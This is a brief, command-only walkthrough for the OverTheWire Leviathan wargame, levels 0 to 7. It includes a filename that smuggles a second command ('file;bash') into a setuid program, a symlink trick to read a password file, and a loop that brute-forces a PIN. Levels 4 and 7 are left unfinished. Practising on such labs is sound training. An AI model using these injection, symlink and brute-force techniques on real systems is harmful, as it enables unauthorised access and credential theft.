Leviathan Walkthrough (OverTheWire)

Level 0 ➔ Level 1

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ssh leviathan0@leviathan.labs.overthewire.org -p 2223

ls -la

cd .backup/

cat bookmarks.html

grep password bookmarks.html

Level 1 ➔ Level 2

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ssh leviathan1@leviathan.labs.overthewire.org -p 2223

ls -la

file check

ltrace ./check

./check

ls

cat etc/leviathan\_pass/leviathan2

Level 2 ➔ Level 3

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ssh leviathan2@leviathan.labs.overthewire.org -p 2223

ls -la

./printfile

cat etc/leviathan\_pass/leviathan3

mktemp -d

cd /tmp/tmp.XmR5Hh5SKx

touch 'file;bash'

ls

cd

./printfile /tmp/tmp.XmR5Hh5SKx/file\;bash

ls

cat etc/leviathan\_pass/leviathan3

Level 3 ➔ Level 4

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ssh leviathan3@leviathan.labs.overthewire.org -p 2223

ls -la

./level3

ltrace ./level3

# Enter password when prompted

ls

cat etc/leviathan\_pass/leviathan4

Level 4 ➔ Level 5

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ssh leviathan4@leviathan.labs.overthewire.org -p 2223

ls -la

cd .trash/

ls -la

./bin

# Convert the binary output to text (strings/binwalk/xxd)

Level 5 ➔ Level 6

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ssh leviathan5@leviathan.labs.overthewire.org -p 2223

ls -la

./leviathan5

ltrace ./leviathan5

touch /tmp/file.log

echo "hello" > /tmp/file.log

ltrace ./leviathan5

ln -s /etc/leviathan\_pass/leviathan6 /tmp/file.log

./leviathan5

Level 6 ➔ Level 7

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ssh leviathan6@leviathan.labs.overthewire.org -p 2223

ls

./leviathan6

ltrace ./leviathan6

for i in {0000..9999}; do echo $i; ./leviathan6 $i; done

whoami

ls

cat etc/leviathan\_pass/leviathan7

Level 7 ➔ Level 8

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ssh leviathan7@leviathan.labs.overthewire.org -p 2223

ls -la

# Further steps needed